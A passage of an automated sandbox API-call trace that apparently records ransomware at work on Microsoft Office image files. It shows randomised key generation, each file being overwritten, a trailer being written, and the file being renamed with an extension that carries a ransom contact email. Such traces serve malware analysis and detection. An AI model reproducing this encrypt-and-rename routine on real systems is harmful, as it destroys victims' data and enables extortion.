office\\media\\office14\\bullets\\bd10265_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1364 [0064.065] GetFileSizeEx (in: hFile=0x1364, lpFileSize=0xc3df9e0 | out: lpFileSize=0xc3df9e0*=308) returned 1 [0064.066] SetFilePointerEx (in: hFile=0x1364, liDistanceToMove=0x130, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.066] ReadFile (in: hFile=0x1364, lpBuffer=0xc3df964, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xc3df960, lpOverlapped=0x0 | out: lpBuffer=0xc3df964*, lpNumberOfBytesRead=0xc3df960*=0x4, lpOverlapped=0x0) returned 1 [0064.066] SetFilePointerEx (in: hFile=0x1364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.066] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4607b8 [0064.067] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460df8 [0064.067] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec9228 [0064.067] NtQuerySystemTime (in: CurrentTime=0xc3df940 | out: CurrentTime=0xc3df940*=132174898280460000) returned 0x0 [0064.067] RtlRandomEx (in: Seed=0xc3df94c | out: Seed=0xc3df94c) returned 0x637d1bdd [0064.067] RtlRandomEx (in: Seed=0xc3df94c | out: Seed=0xc3df94c) returned 0x3a90e47 [0064.067] RtlRandomEx (in: Seed=0xc3df94c | out: Seed=0xc3df94c) returned 0x7fd67fa [0064.067] RtlRandomEx (in: Seed=0xc3df94c | out: Seed=0xc3df94c) returned 0x51d3e7f4 [0064.067] RtlRandomEx (in: Seed=0xc3df94c | out: Seed=0xc3df94c) returned 0x72ef98be [0064.067] RtlRandomEx (in: Seed=0xc3df94c | out: Seed=0xc3df94c) returned 0x4b6a9db1 [0064.067] RtlRandomEx (in: Seed=0xc3df94c | out: Seed=0xc3df94c) returned 0x5e6dbcef [0064.067] RtlRandomEx (in: Seed=0xc3df94c | out: Seed=0xc3df94c) returned 0x278d2317 [0064.067] RtlRandomEx (in: Seed=0xc3df94c | out: Seed=0xc3df94c) returned 0x351bbaa2 [0064.067] RtlRandomEx (in: Seed=0xc3df94c | out: Seed=0xc3df94c) returned 0x1677fd75 [0064.067] RtlRandomEx (in: Seed=0xc3df94c | out: Seed=0xc3df94c) returned 0x2648cb0d [0064.067] RtlRandomEx (in: Seed=0xc3df94c | out: Seed=0xc3df94c) returned 0x45c767a0 [0064.067] RtlRandomEx (in: Seed=0xc3df94c | out: Seed=0xc3df94c) returned 0x7c6afdca [0064.067] RtlRandomEx (in: Seed=0xc3df94c | out: Seed=0xc3df94c) returned 0x5855731f [0064.067] RtlRandomEx (in: Seed=0xc3df94c | out: Seed=0xc3df94c) returned 0x175f7555 [0064.067] RtlRandomEx (in: Seed=0xc3df94c | out: Seed=0xc3df94c) returned 0x71557a35 [0064.067] RtlRandomEx (in: Seed=0xc3df94c | out: Seed=0xc3df94c) returned 0x7c4375dd [0064.067] RtlRandomEx (in: Seed=0xc3df94c | out: Seed=0xc3df94c) returned 0x4e76cd4c [0064.067] RtlRandomEx (in: Seed=0xc3df94c | out: Seed=0xc3df94c) returned 0x1daffb27 [0064.067] RtlRandomEx (in: Seed=0xc3df94c | out: Seed=0xc3df94c) returned 0xc3d57a2 [0064.067] RtlRandomEx (in: Seed=0xc3df94c | out: Seed=0xc3df94c) returned 0x776938de [0064.067] RtlRandomEx (in: Seed=0xc3df94c | out: Seed=0xc3df94c) returned 0x691fc904 [0064.067] RtlRandomEx (in: Seed=0xc3df94c | out: Seed=0xc3df94c) returned 0x4ee1b8d4 [0064.067] RtlRandomEx (in: Seed=0xc3df94c | out: Seed=0xc3df94c) returned 0x65b1431 [0064.067] RtlRandomEx (in: Seed=0xc3df94c | out: Seed=0xc3df94c) returned 0x2c3e970a [0064.067] RtlRandomEx (in: Seed=0xc3df94c | out: Seed=0xc3df94c) returned 0x6e837fc7 [0064.067] RtlRandomEx (in: Seed=0xc3df94c | out: Seed=0xc3df94c) returned 0x161139a7 [0064.067] RtlRandomEx (in: Seed=0xc3df94c | out: Seed=0xc3df94c) returned 0x6aa1bccc [0064.067] RtlRandomEx (in: Seed=0xc3df94c | out: Seed=0xc3df94c) returned 0x299986e3 [0064.067] RtlRandomEx (in: Seed=0xc3df94c | out: Seed=0xc3df94c) returned 0x632fb58c [0064.067] RtlRandomEx (in: Seed=0xc3df94c | out: Seed=0xc3df94c) returned 0x711d3b26 [0064.068] RtlRandomEx (in: Seed=0xc3df94c | out: Seed=0xc3df94c) returned 0x79c50c61 [0064.080] ReadFile (in: hFile=0x1364, lpBuffer=0x195ef900, nNumberOfBytesToRead=0x134, lpNumberOfBytesRead=0xc3df93c, lpOverlapped=0x0 | out: lpBuffer=0x195ef900*, lpNumberOfBytesRead=0xc3df93c*=0x134, lpOverlapped=0x0) returned 1 [0064.080] SetFilePointerEx (in: hFile=0x1364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.080] WriteFile (in: hFile=0x1364, lpBuffer=0x19608910*, nNumberOfBytesToWrite=0x134, lpNumberOfBytesWritten=0xc3df938, lpOverlapped=0x0 | out: lpBuffer=0x19608910*, lpNumberOfBytesWritten=0xc3df938*=0x134, lpOverlapped=0x0) returned 1 [0065.473] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97ce7d0 [0065.473] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97ce438 [0065.473] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ce438) returned 1 [0065.473] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x19608910) returned 1 [0065.473] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x195ef900) returned 1 [0065.473] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x419568) returned 1 [0065.473] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402768) returned 1 [0065.473] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x25) returned 0x97ce960 [0065.473] SetFilePointerEx (in: hFile=0x1364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.473] WriteFile (hFile=0x1364, lpBuffer=0x12d7d7a0, nNumberOfBytesToWrite=0x109, lpNumberOfBytesWritten=0xc3df9a0, lpOverlapped=0x0) Thread: id = 1150 os_tid = 0xfa0 [0059.794] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10266_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10266_.gif")) returned 0x20 [0064.086] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10266_.GIF", dwFileAttributes=0x20) Thread: id = 1151 os_tid = 0xfac [0059.795] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10267_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10267_.gif")) returned 0x20 [0064.086] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10267_.GIF", dwFileAttributes=0x20) Thread: id = 1152 os_tid = 0xfb4 [0059.796] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10268_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10268_.gif")) returned 0x20 [0064.086] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10268_.GIF", dwFileAttributes=0x20) Thread: id = 1153 os_tid = 0xfc0 [0059.796] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10297_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10297_.gif")) returned 0x20 [0064.086] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10297_.GIF", dwFileAttributes=0x20) returned 1 [0064.087] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10297_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10297_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1374 [0064.087] GetFileSizeEx (in: hFile=0x1374, lpFileSize=0xfa0f998 | out: lpFileSize=0xfa0f998*=1131) returned 1 [0064.087] SetFilePointerEx (in: hFile=0x1374, liDistanceToMove=0x467, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.087] ReadFile (in: hFile=0x1374, lpBuffer=0xfa0f91c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xfa0f918, lpOverlapped=0x0 | out: lpBuffer=0xfa0f91c*, lpNumberOfBytesRead=0xfa0f918*=0x4, lpOverlapped=0x0) returned 1 [0064.088] SetFilePointerEx (in: hFile=0x1374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.089] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4607b8 [0064.089] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec9228 [0064.089] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec8c10 [0064.089] NtQuerySystemTime (in: CurrentTime=0xfa0f8f8 | out: CurrentTime=0xfa0f8f8*=132174898280772000) returned 0x0 [0064.089] RtlRandomEx (in: Seed=0xfa0f904 | out: Seed=0xfa0f904) returned 0x55a1d [0064.089] RtlRandomEx (in: Seed=0xfa0f904 | out: Seed=0xfa0f904) returned 0x30ca4f21 [0064.089] RtlRandomEx (in: Seed=0xfa0f904 | out: Seed=0xfa0f904) returned 0x5a15a8ba [0064.089] RtlRandomEx (in: Seed=0xfa0f904 | out: Seed=0xfa0f904) returned 0x41a85b3a [0064.089] RtlRandomEx (in: Seed=0xfa0f904 | out: Seed=0xfa0f904) returned 0x57e6d11c [0064.089] RtlRandomEx (in: Seed=0xfa0f904 | out: Seed=0xfa0f904) returned 0x2778d25f [0064.089] RtlRandomEx (in: Seed=0xfa0f904 | out: Seed=0xfa0f904) returned 0x33419677 [0064.089] RtlRandomEx (in: Seed=0xfa0f904 | out: Seed=0xfa0f904) returned 0x3aa8d72f [0064.089] RtlRandomEx (in: Seed=0xfa0f904 | out: Seed=0xfa0f904) returned 0x216dbbd1 [0064.089] RtlRandomEx (in: Seed=0xfa0f904 | out: Seed=0xfa0f904) returned 0x3e903a7b [0064.089] RtlRandomEx (in: Seed=0xfa0f904 | out: Seed=0xfa0f904) returned 0x519a9f24 [0064.089] RtlRandomEx (in: Seed=0xfa0f904 | out: Seed=0xfa0f904) returned 0x7db3e286 [0064.089] RtlRandomEx (in: Seed=0xfa0f904 | out: Seed=0xfa0f904) returned 0x2d54377b [0064.089] RtlRandomEx (in: Seed=0xfa0f904 | out: Seed=0xfa0f904) returned 0x7e0d3452 [0064.089] RtlRandomEx (in: Seed=0xfa0f904 | out: Seed=0xfa0f904) returned 0x861ca27 [0064.089] RtlRandomEx (in: Seed=0xfa0f904 | out: Seed=0xfa0f904) returned 0xc3a6e16 [0064.089] RtlRandomEx (in: Seed=0xfa0f904 | out: Seed=0xfa0f904) returned 0x19dbe315 [0064.089] RtlRandomEx (in: Seed=0xfa0f904 | out: Seed=0xfa0f904) returned 0x1507c017 [0064.089] RtlRandomEx (in: Seed=0xfa0f904 | out: Seed=0xfa0f904) returned 0x742100d0 [0064.089] RtlRandomEx (in: Seed=0xfa0f904 | out: Seed=0xfa0f904) returned 0x5b49bfc6 [0064.089] RtlRandomEx (in: Seed=0xfa0f904 | out: Seed=0xfa0f904) returned 0x79f357f2 [0064.089] RtlRandomEx (in: Seed=0xfa0f904 | out: Seed=0xfa0f904) returned 0x400c2a3b [0064.089] RtlRandomEx (in: Seed=0xfa0f904 | out: Seed=0xfa0f904) returned 0x69a05701 [0064.089] RtlRandomEx (in: Seed=0xfa0f904 | out: Seed=0xfa0f904) returned 0x66b27d09 [0064.089] RtlRandomEx (in: Seed=0xfa0f904 | out: Seed=0xfa0f904) returned 0x12b9e1a3 [0064.089] RtlRandomEx (in: Seed=0xfa0f904 | out: Seed=0xfa0f904) returned 0x14d083cb [0064.089] RtlRandomEx (in: Seed=0xfa0f904 | out: Seed=0xfa0f904) returned 0x270adf7f [0064.089] RtlRandomEx (in: Seed=0xfa0f904 | out: Seed=0xfa0f904) returned 0x264ebbb1 [0064.089] RtlRandomEx (in: Seed=0xfa0f904 | out: Seed=0xfa0f904) returned 0xd989451 [0064.090] RtlRandomEx (in: Seed=0xfa0f904 | out: Seed=0xfa0f904) returned 0x2933d680 [0064.090] RtlRandomEx (in: Seed=0xfa0f904 | out: Seed=0xfa0f904) returned 0x4658f911 [0064.090] RtlRandomEx (in: Seed=0xfa0f904 | out: Seed=0xfa0f904) returned 0x19bb7722 [0064.101] ReadFile (in: hFile=0x1374, lpBuffer=0x19615118, nNumberOfBytesToRead=0x46b, lpNumberOfBytesRead=0xfa0f8f4, lpOverlapped=0x0 | out: lpBuffer=0x19615118*, lpNumberOfBytesRead=0xfa0f8f4*=0x46b, lpOverlapped=0x0) returned 1 [0064.101] SetFilePointerEx (in: hFile=0x1374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.101] WriteFile (in: hFile=0x1374, lpBuffer=0x9673680*, nNumberOfBytesToWrite=0x46b, lpNumberOfBytesWritten=0xfa0f8f0, lpOverlapped=0x0 | out: lpBuffer=0x9673680*, lpNumberOfBytesWritten=0xfa0f8f0*=0x46b, lpOverlapped=0x0) returned 1 [0064.103] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4607b8 [0064.103] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec8c10 [0064.103] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec8c10) returned 1 [0064.103] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x9673680) returned 1 [0064.103] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x19615118) returned 1 [0064.103] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x419400) returned 1 [0064.103] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402ac8) returned 1 [0064.103] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x25) returned 0x97cee70 [0064.103] SetFilePointerEx (in: hFile=0x1374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.103] WriteFile (in: hFile=0x1374, lpBuffer=0x12d7c508*, nNumberOfBytesToWrite=0x109, lpNumberOfBytesWritten=0xfa0f958, lpOverlapped=0x0 | out: lpBuffer=0x12d7c508*, lpNumberOfBytesWritten=0xfa0f958*=0x109, lpOverlapped=0x0) returned 1 [0064.105] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d7c508) returned 1 [0064.105] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cede0) returned 1 [0064.105] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec8c10) returned 1 [0064.105] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cee70) returned 1 [0064.105] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4607b8) returned 1 [0064.105] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec9228) returned 1 [0064.105] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec90e8) returned 1 [0064.105] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec9110) returned 1 [0064.105] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xd4) returned 0x4d4000 [0064.105] wcscpy (in: _Dest=0x4d4000, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10297_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10297_.GIF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10297_.GIF" [0064.105] wcscat (in: _Dest=0x4d4000, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10297_.GIF.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10297_.GIF.mailto[2Hamlampampom@cock.li].cd46d" [0064.105] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10297_.GIF.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0xfa0f910, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10297_.GIF.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0064.105] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xea) returned 0x4de0f8 [0064.106] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4de0f8) returned 1 [0064.106] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x497120) returned 1 [0064.106] NtQueryInformationFile (in: FileHandle=0x1374, IoStatusBlock=0xfa0f91c, FileInformation=0xfa0f8f4, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0xfa0f91c, FileInformation=0xfa0f8f4) returned 0x0 [0064.106] NtSetInformationFile (FileHandle=0x1374, IoStatusBlock=0xfa0f91c, FileInformation=0xfa0f8f4, Length=0x28, FileInformationClass=0x4) returned 0x0 [0064.108] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4d4000) returned 1 [0064.108] FlushFileBuffers (hFile=0x1374) returned 1 [0066.228] CloseHandle (hObject=0x1374) Thread: id = 1154 os_tid = 0x10b0 [0059.797] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10298_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10298_.gif")) returned 0x20 [0064.088] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10298_.GIF", dwFileAttributes=0x20) returned 1 [0064.102] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10298_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10298_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1378 [0064.108] GetFileSizeEx (in: hFile=0x1378, lpFileSize=0xfdcf780 | out: lpFileSize=0xfdcf780*=1127) returned 1 [0064.108] SetFilePointerEx (in: hFile=0x1378, liDistanceToMove=0x463, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.108] ReadFile (in: hFile=0x1378, lpBuffer=0xfdcf704, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xfdcf700, lpOverlapped=0x0 | out: lpBuffer=0xfdcf704*, lpNumberOfBytesRead=0xfdcf700*=0x4, lpOverlapped=0x0) returned 1 [0064.110] SetFilePointerEx (in: hFile=0x1378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.110] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec9110 [0064.110] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec90e8 [0064.110] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec9228 [0064.110] NtQuerySystemTime (in: CurrentTime=0xfdcf6e0 | out: CurrentTime=0xfdcf6e0*=132174898280928000) returned 0x0 [0064.110] RtlRandomEx (in: Seed=0xfdcf6ec | out: Seed=0xfdcf6ec) returned 0x34f9de48 [0064.110] RtlRandomEx (in: Seed=0xfdcf6ec | out: Seed=0xfdcf6ec) returned 0x702520e0 [0064.110] RtlRandomEx (in: Seed=0xfdcf6ec | out: Seed=0xfdcf6ec) returned 0x6dcf30bc [0064.110] RtlRandomEx (in: Seed=0xfdcf6ec | out: Seed=0xfdcf6ec) returned 0x2a8b534e [0064.110] RtlRandomEx (in: Seed=0xfdcf6ec | out: Seed=0xfdcf6ec) returned 0x55ff24fc [0064.110] RtlRandomEx (in: Seed=0xfdcf6ec | out: Seed=0xfdcf6ec) returned 0x4a765da [0064.110] RtlRandomEx (in: Seed=0xfdcf6ec | out: Seed=0xfdcf6ec) returned 0x2f949a7b [0064.110] RtlRandomEx (in: Seed=0xfdcf6ec | out: Seed=0xfdcf6ec) returned 0x2b365a4e [0064.110] RtlRandomEx (in: Seed=0xfdcf6ec | out: Seed=0xfdcf6ec) returned 0x4e5bd8f2 [0064.110] RtlRandomEx (in: Seed=0xfdcf6ec | out: Seed=0xfdcf6ec) returned 0xc421a1b [0064.110] RtlRandomEx (in: Seed=0xfdcf6ec | out: Seed=0xfdcf6ec) returned 0x89b3e32 [0064.110] RtlRandomEx (in: Seed=0xfdcf6ec | out: Seed=0xfdcf6ec) returned 0x70b2c55d [0064.110] RtlRandomEx (in: Seed=0xfdcf6ec | out: Seed=0xfdcf6ec) returned 0x35fb48f6 [0064.110] RtlRandomEx (in: Seed=0xfdcf6ec | out: Seed=0xfdcf6ec) returned 0x413de2e5 [0064.110] RtlRandomEx (in: Seed=0xfdcf6ec | out: Seed=0xfdcf6ec) returned 0x63a0119b [0064.110] RtlRandomEx (in: Seed=0xfdcf6ec | out: Seed=0xfdcf6ec) returned 0x37d2cc6c [0064.110] RtlRandomEx (in: Seed=0xfdcf6ec | out: Seed=0xfdcf6ec) returned 0x476e927c [0064.110] RtlRandomEx (in: Seed=0xfdcf6ec | out: Seed=0xfdcf6ec) returned 0x494db4e7 [0064.110] RtlRandomEx (in: Seed=0xfdcf6ec | out: Seed=0xfdcf6ec) returned 0x696e9338 [0064.110] RtlRandomEx (in: Seed=0xfdcf6ec | out: Seed=0xfdcf6ec) returned 0x1d63aff4 [0064.111] RtlRandomEx (in: Seed=0xfdcf6ec | out: Seed=0xfdcf6ec) returned 0x1ff24fee [0064.111] RtlRandomEx (in: Seed=0xfdcf6ec | out: Seed=0xfdcf6ec) returned 0x1142cb45 [0064.111] RtlRandomEx (in: Seed=0xfdcf6ec | out: Seed=0xfdcf6ec) returned 0x31069275 [0064.111] RtlRandomEx (in: Seed=0xfdcf6ec | out: Seed=0xfdcf6ec) returned 0x7da2ed22 [0064.111] RtlRandomEx (in: Seed=0xfdcf6ec | out: Seed=0xfdcf6ec) returned 0x7ebec2cf [0064.111] RtlRandomEx (in: Seed=0xfdcf6ec | out: Seed=0xfdcf6ec) returned 0x6ed5ac86 [0064.111] RtlRandomEx (in: Seed=0xfdcf6ec | out: Seed=0xfdcf6ec) returned 0x6b53c9da [0064.111] RtlRandomEx (in: Seed=0xfdcf6ec | out: Seed=0xfdcf6ec) returned 0x718791d8 [0064.111] RtlRandomEx (in: Seed=0xfdcf6ec | out: Seed=0xfdcf6ec) returned 0x609cd41b [0064.111] RtlRandomEx (in: Seed=0xfdcf6ec | out: Seed=0xfdcf6ec) returned 0x8b63d03 [0064.111] RtlRandomEx (in: Seed=0xfdcf6ec | out: Seed=0xfdcf6ec) returned 0xdbe7c88 [0064.111] RtlRandomEx (in: Seed=0xfdcf6ec | out: Seed=0xfdcf6ec) returned 0x6220407a [0064.121] ReadFile (in: hFile=0x1378, lpBuffer=0x19615118, nNumberOfBytesToRead=0x467, lpNumberOfBytesRead=0xfdcf6dc, lpOverlapped=0x0 | out: lpBuffer=0x19615118*, lpNumberOfBytesRead=0xfdcf6dc*=0x467, lpOverlapped=0x0) returned 1 [0064.121] SetFilePointerEx (in: hFile=0x1378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.122] WriteFile (in: hFile=0x1378, lpBuffer=0x9673680*, nNumberOfBytesToWrite=0x467, lpNumberOfBytesWritten=0xfdcf6d8, lpOverlapped=0x0 | out: lpBuffer=0x9673680*, lpNumberOfBytesWritten=0xfdcf6d8*=0x467, lpOverlapped=0x0) returned 1 [0064.123] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec9110 [0064.123] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec9228 [0064.123] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec9228) returned 1 [0064.123] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x9673680) returned 1 [0064.123] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x19615118) returned 1 [0064.123] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x419400) returned 1 [0064.123] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402ac8) returned 1 [0064.123] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x25) returned 0x97cee70 [0064.123] SetFilePointerEx (in: hFile=0x1378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.123] WriteFile (in: hFile=0x1378, lpBuffer=0x12d7c508*, nNumberOfBytesToWrite=0x109, lpNumberOfBytesWritten=0xfdcf740, lpOverlapped=0x0 | out: lpBuffer=0x12d7c508*, lpNumberOfBytesWritten=0xfdcf740*=0x109, lpOverlapped=0x0) returned 1 [0064.124] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d7c508) returned 1 [0064.124] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cede0) returned 1 [0064.124] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec9228) returned 1 [0064.124] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cee70) returned 1 [0064.124] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec9110) returned 1 [0064.124] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec90e8) returned 1 [0064.124] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec8c10) returned 1 [0064.125] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec88c8) returned 1 [0064.125] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xd4) returned 0x4d4000 [0064.125] wcscpy (in: _Dest=0x4d4000, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10298_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10298_.GIF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10298_.GIF" [0064.125] wcscat (in: _Dest=0x4d4000, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10298_.GIF.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10298_.GIF.mailto[2Hamlampampom@cock.li].cd46d" [0064.125] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10298_.GIF.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0xfdcf6f8, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10298_.GIF.mailto[2Hamlampampom@cock.li].cd46d", 